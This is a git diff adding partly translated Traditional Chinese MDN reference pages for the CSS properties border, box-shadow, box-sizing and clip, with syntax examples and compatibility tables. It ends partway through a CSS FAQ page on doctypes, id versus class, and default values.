+++ b/files/zh-tw/web/css/border/index.html
@@ -0,0 +1,134 @@
+---
+title: border
+slug: Web/CSS/border
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Layout
+  - Reference
+translation_of: Web/CSS/border
+---
+<div>{{CSSRef("CSS Borders")}}</div>
+
+<p><span class="seoSummary"><strong><code>border</code></strong> <a href="/en-US/docs/Web/CSS/Shorthand_properties">shorthand</a> <a href="/en-US/docs/CSS">CSS</a> 屬性可用來設定元素的邊框。</span>它可以設定以下的值 {{Cssxref("border-width")}}、{{Cssxref("border-style")}} 以及 {{Cssxref("border-color")}}。</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border.html")}}</div>
+
+
+
+<p>As with all shorthand properties, any omitted sub-values will be set to their <a href="/en-US/docs/Web/CSS/initial_value">initial value</a>. Importantly, <code>border</code> cannot be used to specify a custom value for {{cssxref("border-image")}}, but instead sets it to its initial value, i.e., <code>none</code>.</p>
+
+<p>The <code>border</code> shorthand is especially useful when you want all four borders to be the same. To make them different from each other, however, you can use the longhand {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, and {{Cssxref("border-color")}} properties, which accept different values for each side. Alternatively, you can target one border at a time with the physical (e.g., {{Cssxref("border-top")}} ) and logical (e.g., {{Cssxref("border-block-start")}}) border properties.</p>
+
+<h3 id="Borders_vs._outlines">Borders vs. outlines</h3>
+
+<p>Borders and <a href="/en-US/docs/Web/CSS/outline">outlines</a> are very similar. However, outlines differ from borders in the following ways:</p>
+
+<ul>
+ <li>Outlines never take up space, as they are drawn outside of an element's content.</li>
+ <li>According to the spec, outlines don't have to be rectangular, although they usually are.</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="brush: css no-line-numbers">/* style */
+border: solid;
+
+/* width | style */
+border: 2px dotted;
+
+/* style | color */
+border: outset #f33;
+
+/* width | style | color */
+border: medium dashed green;
+
+/* Global values */
+border: inherit;
+border: initial;
+border: unset;
+</pre>
+
+<p>The <code>border</code> property may be specified using one, two, or three of the values listed below. The order of the values does not matter.</p>
+
+<div class="note">
+<p><strong>Note:</strong> The border will be invisible if its style is not defined. This is because the style defaults to <code>none</code>.</p>
+</div>
+
+<h3 id="Values" name="Values">Values</h3>
+
+<dl>
+ <dt id="&lt;line-width>"><code>&lt;line-width&gt;</code></dt>
+ <dd>Sets the thickness of the border. Defaults to <code>medium</code> if absent. See {{Cssxref("border-width")}}.</dd>
+ <dt id="&lt;line-style>"><code>&lt;line-style&gt;</code></dt>
+ <dd>Sets the style of the border. Defaults to <code>none</code> if absent. See {{Cssxref("border-style")}}.</dd>
+ <dt id="&lt;color>">{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>Sets the color of the border. Defaults to <code>currentcolor</code> if absent. See {{Cssxref("border-color")}}.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox"><code>{{csssyntax}}</code></pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;I have a border, an outline, AND a box shadow! Amazing, isn't it?&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  border: 0.5rem outset pink;
+  outline: 0.5rem solid khaki;
+  box-shadow: 0 0 0 2rem skyblue;
+  border-radius: 12px;
+  font: bold 1rem sans-serif;
+  margin: 2rem;
+  padding: 1rem;
+  outline-offset: 0.5rem;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-shorthands', 'border')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Removes <em>specific</em> support for <code>transparent</code>, as it is now a valid {{cssxref("&lt;color&gt;")}}; this has no practical impact.<br>
+    Though it cannot be set to a custom value using the shorthand, <code>border</code> now resets {{cssxref("border-image")}} to its initial value (<code>none</code>).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-shorthand-properties', 'border')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Accepts the <code>inherit</code> keyword. Also accepts <code>transparent</code> as a valid color.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border', 'border')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.border")}}</p>
diff --git a/files/zh-tw/web/css/box-shadow/index.html b/files/zh-tw/web/css/box-shadow/index.html
new file mode 100644
index 0000000000..4d23dc2d13
--- /dev/null
+++ b/files/zh-tw/web/css/box-shadow/index.html
@@ -0,0 +1,228 @@
+---
+title: box-shadow
+slug: Web/CSS/box-shadow
+tags:
+  - CSS
+  - CSS Backgrounds and Borders
+  - CSS Property
+  - CSS Styles
+  - HTML Colors
+  - Reference
+  - Shadows
+  - Styles
+  - Styling HTML
+  - box-shadow
+translation_of: Web/CSS/box-shadow
+---
+<p>{{CSSRef}}</p>
+
+<p><span class="seoSummary"><code>box-shadow</code> 屬性為一個逗號分隔的列表描述一個或多個的陰影效果.</span> 這使的你能夠從幾乎任何元素的框架放入陰影. 如果一個標記了 {{cssxref("border-radius")}} 的元素也標記了 box shadow, 這將使得他們有相同的圓邊. 多重 box shadows 的 z-index 排序跟多重 <a href="/en-US/CSS/text-shadow">text shadows</a> 一樣(第一個備標記的陰影在最上面).</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Box-shadow_產生器"><strong>Box-shadow 產生器</strong></h3>
+
+<p><a href="/en-US/docs/Web/CSS/Tools/Box-shadow_generator">Interactive tool</a> 可以產生 box-shadow.</p>
+
+<h2 id="表達式">表達式</h2>
+
+<pre class="brush: css notranslate">/* offset-x | offset-y | color */
+box-shadow: 60px -16px teal;
+
+/* offset-x | offset-y | blur-radius | color */
+box-shadow: 10px 5px 5px black;
+
+/* offset-x | offset-y | blur-radius | spread-radius | color */
+box-shadow: 2px 2px 2px 1px rgba(0, 0, 0, 0.2);
+
+/* inset | offset-x | offset-y | color */
+box-shadow: inset 5em 1em gold;
+
+/* Any number of shadows, separated by commas */
+box-shadow: 3px 3px red, -1em 0 0.4em olive;
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dd><br>
+ <code>inset</code><br>
+ 如果未指定（默認），則假定陰影為陰影（就好像該框被提升到內容之上）。 inset關鍵字的存在將陰影更改為幀內的陰影（就好像內容在框內被壓下）。在邊框內部（甚至是透明的）繪製插入陰影，在背景上方，但在內容下方。<br>
+ <br>
+ <code>&lt;offset-x&gt; &lt;offset-y&gt; </code><br>
+ 這兩個 {{cssxref("&lt;length&gt;")}} 值用於設置陰影偏移量。 &lt;offset-x&gt;指定水平距離。負值將陰影置於元素的左側。 &lt;offset-y&gt;指定垂直距離。負值將陰影置於元素上方。有關可能的單位，請參見 {{cssxref("&lt;length&gt;")}}。 如果兩個值均為0，則陰影位於元素後面（如果設置了&lt;blur-radius&gt;和/或&lt;spread-radius&gt;，則可能會生成模糊效果）。<br>
+ <br>
+ <code>&lt;blur-radius&gt; </code><br>
+ 這是第三個 {{cssxref("&lt;length&gt;")}} 值。此值越大，模糊越大，陰影變得越來越大。不允許使用負值。如果未指定，則為0（陰影邊緣清晰）。<br>
+ <br>
+ &lt;<code>spread-radius</code>&gt;<br>
+ 這是第四個 {{cssxref("&lt;length&gt;")}} 值。正值將導致陰影擴大並變大，負值將導致陰影縮小。如果未指定，則為0（陰影將與元素的大小相同）。<br>
+ <br>
+ &lt;<code>color</code>&gt;<br>
+ 有關可能的關鍵字和符號，請參閱 {{cssxref("&lt;color&gt;")}} 值。 如果未指定，則使用的顏色取決於瀏覽器 - 它通常是 {{cssxref("color")}} 屬性的值，但請注意，Safari在此情況下當前繪製透明陰影。</dd>
+</dl>
+
+<h3 id="語法">語法</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="範例">範例</h2>
+
+<ul>
+ <li><a href="https://techmoon.xyz/css-box-shadow-examples-by-css-scan/">CSS box-shadow examples</a></li>
+ <li><a href="http://www.elektronotdienst-nuernberg.de/bugs/box-shadow_inset.html">box-shadow test</a></li>
+ <li><a href="http://markusstange.wordpress.com/2009/02/15/fun-with-box-shadows/">box-shadow tutorial and examples</a></li>
+</ul>
+
+<pre class="notranslate">box-shadow: rgba(0, 0, 0, 0.35) 0px 5px 15px;
+</pre>
+
+<pre class="notranslate">box-shadow: 60px -16px teal;</pre>
+
+<pre class="notranslate">box-shadow: 10px 5px 5px black;</pre>
+
+<pre class="notranslate">box-shadow: 3px 3px red, -1em 0 0.4em olive;</pre>
+
+<pre class="notranslate">box-shadow: inset 5em 1em gold;</pre>
+
+<pre class="notranslate">box-shadow: 0 0 1em gold;</pre>
+
+<pre class="notranslate">box-shadow: inset 0 0 1em gold;</pre>
+
+<pre class="notranslate">box-shadow: inset 0 0 1em gold, 0 0 1em red;</pre>
+
+<h2 class="cleared" id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#box-shadow', 'box-shadow')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽相容性">瀏覽相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>10.0<sup>[1]</sup><br>
+    1.0{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[3]</sup><br>
+    {{CompatGeckoDesktop("1.9.1")}}{{property_prefix("-moz")}}</td>
+   <td>9.0<sup>[2]</sup></td>
+   <td>10.5<sup>[1]</sup></td>
+   <td>5.1<sup>[1]</sup><br>
+    3.0 {{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Multiple shadows</td>
+   <td>10.0<br>
+    1.0{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}<br>
+    {{CompatGeckoDesktop("1.9.1")}}{{property_prefix("-moz")}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>5.1<br>
+    3.0 {{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>inset</code> keyword</td>
+   <td>10.0<br>
+    4.0{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}<br>
+    {{CompatGeckoDesktop("1.9.1")}}{{property_prefix("-moz")}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>5.1<br>
+    5.0 {{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Spread radius</td>
+   <td>10.0<br>
+    4.0{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}<br>
+    {{CompatGeckoDesktop("1.9.1")}}{{property_prefix("-moz")}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>5.1<br>
+    5.0 {{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Safari Mobile</th>
+   <th>Opera Mini</th>
+   <th>Opera Mobile</th>
+   <th>Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>5.0<sup>[1]</sup><br>
+     {{CompatVersionUnknown }}{{ property_prefix("-webkit")}}</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown }}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown }}{{property_prefix("-webkit")}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Multiple shadows</td>
+   <td>5.0<br>
+    {{CompatVersionUnknown }}{{ property_prefix("-webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>inset</code> keyword</td>
+   <td>5.0<br>
+    {{CompatVersionUnknown }}{{ property_prefix("-webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Spread radius</td>
+   <td>5.0<br>
+    {{CompatVersionUnknown }}{{ property_prefix("-webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Shadows affect layout in older Gecko, Presto, and WebKit; e.g. if you cast an outer shadow to a box with a <code>width</code> of <code>100%</code>, you'll see a scrollbar.</p>
+
+<p>[2] Since version 5.5, Internet Explorer supports Microsoft's <a href="http://msdn.microsoft.com/en-us/library/ms532985%28VS.85,loband%29.aspx">DropShadow</a> and <a href="http://msdn.microsoft.com/en-us/library/ms533086%28VS.85,loband%29.aspx">Shadow</a> Filter. You can use this proprietary extension to cast a drop shadow (though the syntax and the effect are different from CSS3). In order to get <code>box-shadow</code> in IE9 or later, you need to set {{cssxref("border-collapse")}} to <code>separate</code>.</p>
+
+<p>[3] Gecko 13 {{geckoRelease(13)}} removed support for <code>-moz-box-shadow</code>. Since then, only the unprefixed version is supported. Shadows affect layout in older Gecko, Presto, and WebKit; e.g. if you cast an outer shadow to a box with a <code>width</code> of <code>100%</code>, you'll see a scrollbar.</p>
diff --git a/files/zh-tw/web/css/box-sizing/index.html b/files/zh-tw/web/css/box-sizing/index.html
new file mode 100644
index 0000000000..058f179918
--- /dev/null
+++ b/files/zh-tw/web/css/box-sizing/index.html
@@ -0,0 +1,94 @@
+---
+title: box-sizing
+slug: Web/CSS/box-sizing
+tags:
+  - CSS
+  - CSS Box Model
+  - CSS Property
+  - Experimental
+  - Reference
+  - border-box
+  - box model
+  - content-box
+translation_of: Web/CSS/box-sizing
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="概要">概要</h2>
+
+<p>The <strong><code>box-sizing</code></strong> property is used to alter the default <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">CSS box model</a> used to calculate width and height of the elements. It is possible to use this property to emulate the behavior of browsers that do not correctly support the CSS box model specification.</p>
+
+<p><strong><code>box-sizing</code></strong>  屬性 用於更改預設 <a href="https://developer.mozilla.org/en-US/docs/CSS/Box_model" title="CSS/Box_model">CSS 盒子模型</a> 中所計算的寬度和高度。可以使用此屬性來模擬不正確支持CSS盒子模型規範的瀏覽器的行為。</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="句法">句法</h2>
+
+<pre class="brush: css">/* Keyword values */
+box-sizing: content-box;
+box-sizing: border-box;
+
+/* Global values */
+box-sizing: inherit;
+box-sizing: initial;
+box-sizing: unset;
+</pre>
+
+<h3 id="值">值</h3>
+
+<dl>
+ <dt><code>content-box</code></dt>
+ <dd>這是根據 CSS 標準的起始值和預設值。 {{Cssxref("width")}}  與  {{Cssxref("height")}} 只包括內容本身的寬和高， 不包括邊框（border）、內邊距（padding）、外邊距（margin）。注意：內邊距、邊框和外邊距都在這個盒子的外部。例如，如果 <code>.box {width: 350px}; 而且 {border: 10px solid black;}</code> ，那麼在瀏覽器中的渲染該容器的實際寬度將是370px，;<br>
+ <br>
+ 簡單來說，尺寸計算公式：width = 內容的寬度，height = 內容的高度。寬度和高度都不包含內容的邊框（border）和內邊距（padding）。</dd>
+ <dt><code>border-box</code></dt>
+ <dd> {{Cssxref("width")}} 和 {{Cssxref("height")}} 屬性包括內容（content），內邊距（padding）和邊框（border），但不包括外邊距（margin）。這是當文檔處於 Quirks 模式時 Internet Explorer 所使用的<a href="https://developer.mozilla.org/en-US/docs/CSS/Box_model" title="CSS/Box_model">盒模型</a>。注意，內邊距和邊框都將在盒子內 ，例如，<code>.box {width: 350px; border: 10px solid black;} </code>，渲染出的容器寬度會固定在 350px，而內容（content）的寬度就會變成 330px， 因為邊框（border）佔了20px。內容框不能為負，並且進位到 0，使得不可能使用 border-box 使元素消失。<br>
+ <br>
+ 這裡的維度計算為：</dd>
+ <dd><em>width = border + padding + 內容的  width</em>，</dd>
+ <dd><em>height = border + padding + 內容的 height</em>。</dd>
+ <dt><code>padding-box</code> {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>The {{Cssxref("width")}} and {{Cssxref("height")}} properties include the content, the padding but neither the border, nor the margin. Only Firefox implemented this value, and it was removed in Firefox 50.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush:css">/* support Firefox, Chrome, Safari, Opera, IE8+ and old Android */
+
+.example {
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#box-sizing', 'box-sizing')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("css.properties.box-sizing")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">CSS box model</a></li>
+</ul>
diff --git a/files/zh-tw/web/css/clip/index.html b/files/zh-tw/web/css/clip/index.html
new file mode 100644
index 0000000000..900be65c41
--- /dev/null
+++ b/files/zh-tw/web/css/clip/index.html
@@ -0,0 +1,174 @@
+---
+title: clip
+slug: Web/CSS/clip
+translation_of: Web/CSS/clip
+---
+<div>{{CSSRef}}{{deprecated_header}}</div>
+
+<h2 id="總結">總結</h2>
+
+<p><strong><code>這個 clip</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> 屬性用來定義元素的哪一個部分是可見的. <code>clip</code> 屬性只能被賦予在絕對位置的元素(element)上, 像是帶有這些的CSS屬性的元素 {{cssxref("position","position:absolute")}} or {{cssxref("position","position:fixed")}}.</p>
+
+<div class="warning">
+<p><strong>警告:</strong> 這個屬性被遺棄了. 請改用 {{cssxref("clip-path")}} .</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css">/* Keyword value */
+clip: auto;
+
+/* &lt;shape&gt; values */
+clip: rect(1px 10em 3rem 2ch);
+clip: rect(1px, 10em, 3rem, 2ch);
+
+/* Global values */
+clip: inherit;
+clip: initial;
+clip: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;shape&gt;</code></dt>
+ <dd>A rectangular {{cssxref("&lt;shape&gt;")}} of the form <code>rect(&lt;top&gt;, &lt;right&gt;, &lt;bottom&gt;, &lt;left&gt;)</code> or of the form <code>rect(&lt;top&gt; &lt;right&gt; &lt;bottom&gt; &lt;left&gt;)</code> (which is a more backwards compatible syntax) <code>&lt;top&gt;</code> and <code>&lt;bottom&gt;</code> specify offsets from the <em>inside top border edge</em> of the box, and <code>&lt;right&gt;</code>, and <code>&lt;left&gt;</code> specify offsets from the <em>inside left border edge</em> of the box — that is, the extent of the padding box.</dd>
+ <dd><code>&lt;top&gt;</code>, <code>&lt;right&gt;</code>, <code>&lt;bottom&gt;</code>, and <code>&lt;left&gt;</code> may either have a {{cssxref("&lt;length&gt;")}} value or<code> auto</code>. If any side's value is <code>auto</code>, the element is clipped to that side's <em>inside border edge</em>.</dd>
+ <dt><code>auto</code></dt>
+ <dd>The element does not clip (default value). Note that this is distinct from <code>rect(auto, auto, auto, auto)</code>, which does clip to the inside border edges of the element.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush:css">.dotted-border {
+   border: dotted;
+   position: relative;
+   width: 536px;
+   height: 350px;
+}
+
+#top-left, #middle, #bottom-right {
+   position: absolute;
+   top: 0px;
+}
+
+#top-left {
+   left: 360px;
+   clip: rect(0px, 175px, 113px, 0px);
+}
+
+
+#middle {
+   left: 280px;
+   clip: rect(119px, 255px, 229px, 80px);
+   /* standard syntax, unsupported by Internet Explorer 4-7 */
+}
+
+#bottom-right {
+   left: 200px;
+   clip: rect(235px 335px 345px 160px);
+   /* non-standard syntax, but supported by all major browsers*/
+}</pre>
+
+<pre class="brush:html">&lt;p class="dotted-border"&gt;
+   &lt;img src="https://developer.mozilla.org/@api/deki/files/3613/=hut.jpg" title="Original Graphic" /&gt;
+   &lt;img id="top-left" src="https://developer.mozilla.org/@api/deki/files/3613/=hut.jpg" title="Graphic clipped to upper left"&gt;
+   &lt;img id="middle" src="https://developer.mozilla.org/@api/deki/files/3613/=hut.jpg" title="Graphic clipped towards middle"&gt;
+   &lt;img id="bottom-right" src="https://developer.mozilla.org/@api/deki/files/3613/=hut.jpg" title="Graphic clipped to bottom right"&gt;
+&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('Examples', '689px', '410px')}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Masks', '#clip-property', 'clip')}}</td>
+   <td>{{Spec2('CSS Masks')}}</td>
+   <td>Deprecates <code>clip</code> property, suggests {{cssxref("clip-path")}} as replacement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'clip')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Defines <code>clip</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visufx.html#clipping', 'clip')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>1.0 (1.0)</td>
+   <td>4.0[1]</td>
+   <td>7.0</td>
+   <td>1.0 (85)[1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer up to version 7.0 and Safari up to at least 5.1.7 incorrectly interpret <code>clip: auto</code> as <code>clip: rect(auto, auto, auto, auto)</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("text-overflow")}}, {{cssxref("white-space")}}, {{Cssxref("overflow-x")}}, {{Cssxref("overflow-y")}}, {{Cssxref("overflow")}}, {{Cssxref("display")}}, {{Cssxref("position")}}</li>
+</ul>
diff --git a/files/zh-tw/web/css/common_css_questions/index.html b/files/zh-tw/web/css/common_css_questions/index.html
new file mode 100644
index 0000000000..b824c671c4
--- /dev/null
+++ b/files/zh-tw/web/css/common_css_questions/index.html
@@ -0,0 +1,165 @@
+---
+title: CSS 一般問題
+slug: Web/CSS/Common_CSS_Questions
+tags:
+  - CSS
+  - 待審閱技術
+  - 待審閱文字
+  - 所有類別
+translation_of: Learn/CSS/Howto/CSS_FAQ
+---
+<p>
+</p>
+<h4 id=".E6.88.91.E7.9A.84_CSS_.E5.90.88.E4.B9.8E.E8.A6.8F.E6.A0.BC.EF.BC.8C.E4.BD.86.E7.B9.AA.E5.87.BA.E7.9A.84.E7.89.88.E9.9D.A2.E6.9C.89.E8.AA.A4" name=".E6.88.91.E7.9A.84_CSS_.E5.90.88.E4.B9.8E.E8.A6.8F.E6.A0.BC.EF.BC.8C.E4.BD.86.E7.B9.AA.E5.87.BA.E7.9A.84.E7.89.88.E9.9D.A2.E6.9C.89.E8.AA.A4"> 我的 CSS 合乎規格，但繪出的版面有誤 </h4>
+<p>如果想讓大部分的瀏覽器都能正確繪製標準 HTML/CSS 頁面，便須於 HTML 檔案中放上完整的正確 DOCTYPE。
+</p><p>新近瀏覽器都有兩種佈局模式：
+</p>
+<ul><li> <i>Quirks 模式</i>：也稱為相容模式，讓舊網頁能依照以前舊瀏覽器的方式顯現。
+</li><li> <i>標準模式</i>：瀏覽器將依循 W3C 規範決定網頁的顯示方式。
+</li></ul>
+<p>以 Gecko 為核心的瀏覽器都有第三種<i><a href="zh_tw/Gecko_%e8%bf%91%e4%b9%8e%e6%a8%99%e6%ba%96%e6%a8%a1%e5%bc%8f">近乎標準</a></i>模式，其中只有一些些不合規範的地方。
+</p><p>如果你宣告的 DTD 不合標準或過期了，那麼瀏覽器就會進入 Quirks 模式。
+</p><p>以下是常用的 DTD 列表，可以讓瀏覽器進入標準或近乎標準模式。
+</p>
+<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
+"http://www.w3.org/TR/html4/loose.dtd"&gt;
+
+&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd"&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+</pre>
+<h4 id="id_.E8.88.87_class_.E4.B9.8B.E9.96.93.E7.9A.84.E5.B7.AE.E5.88.A5" name="id_.E8.88.87_class_.E4.B9.8B.E9.96.93.E7.9A.84.E5.B7.AE.E5.88.A5"> <code>id</code> 與 <code>class</code> 之間的差別 </h4>
+<p>HTML 元素都可有 <code>id</code> 及 <code>class</code> 屬性。<code>id</code> 屬性是讓你為元素命名的，整個頁面中的元素名稱也不應有重複；<code>class</code> 屬性則可將元素歸為某特定類別，通常也會有很多元素屬於同一種類別 (意即 <code>class</code> 屬性值相同。) CSS 可以讓你以 <code>id</code> 或 <code>class</code> 來決定某元素的樣式。
+</p><p>如果你想指定某特定單一元素的樣式，則應使用 <code>id</code>。
+</p>
+<hr>
+<p>若有很多個元素皆有相同樣式，則可使用 <code>class</code>。
+</p><p>這方面的資訊亦可參考 <a href="zh_tw/CSS/Getting_Started/Selectors">CSS 選取符</a>。
+</p>
+<hr>
+<h4 id=".E6.81.A2.E5.BE.A9.E6.9F.90.E7.89.B9.E6.80.A7.E7.9A.84.E9.A0.90.E8.A8.AD.E5.80.BC" name=".E6.81.A2.E5.BE.A9.E6.9F.90.E7.89.B9.E6.80.A7.E7.9A.84.E9.A0.90.E8.A8.AD.E5.80.BC"> 恢復某特性的預設值 </h4>
+<p>CSS2 並不提供任何指定某特性預設值的方法，所以要恢復某特性預設值的唯一方法就是重新指定此值。此外你自己得知道預設值是什麼，因為 CSS 也沒有所謂 <i>default</i> 的關鍵字。
+</p><p>所以，以選取符撰寫樣式時須特別注意 (例如以標籤名稱 <code>p</code> 作為選取符)，或許可以用更明確的選取符 (例如 ID 或 class)。以標籤名稱作選取符茲事體大，一旦使用便將影響整個網頁，而且沒有自動恢復預設值的方法。
+</p><p>此外，由於 CSS 具<i>串聯</i>特性，指定選取符時通常越明確越好，以免把不相干的元素都牽扯進來。
+</p>
+<h4 id=".E7.9B.B8.E4.BE.9D.E6.A8.A3.E5.BC.8F" name=".E7.9B.B8.E4.BE.9D.E6.A8.A3.E5.BC.8F"> 相依樣式 </h4>
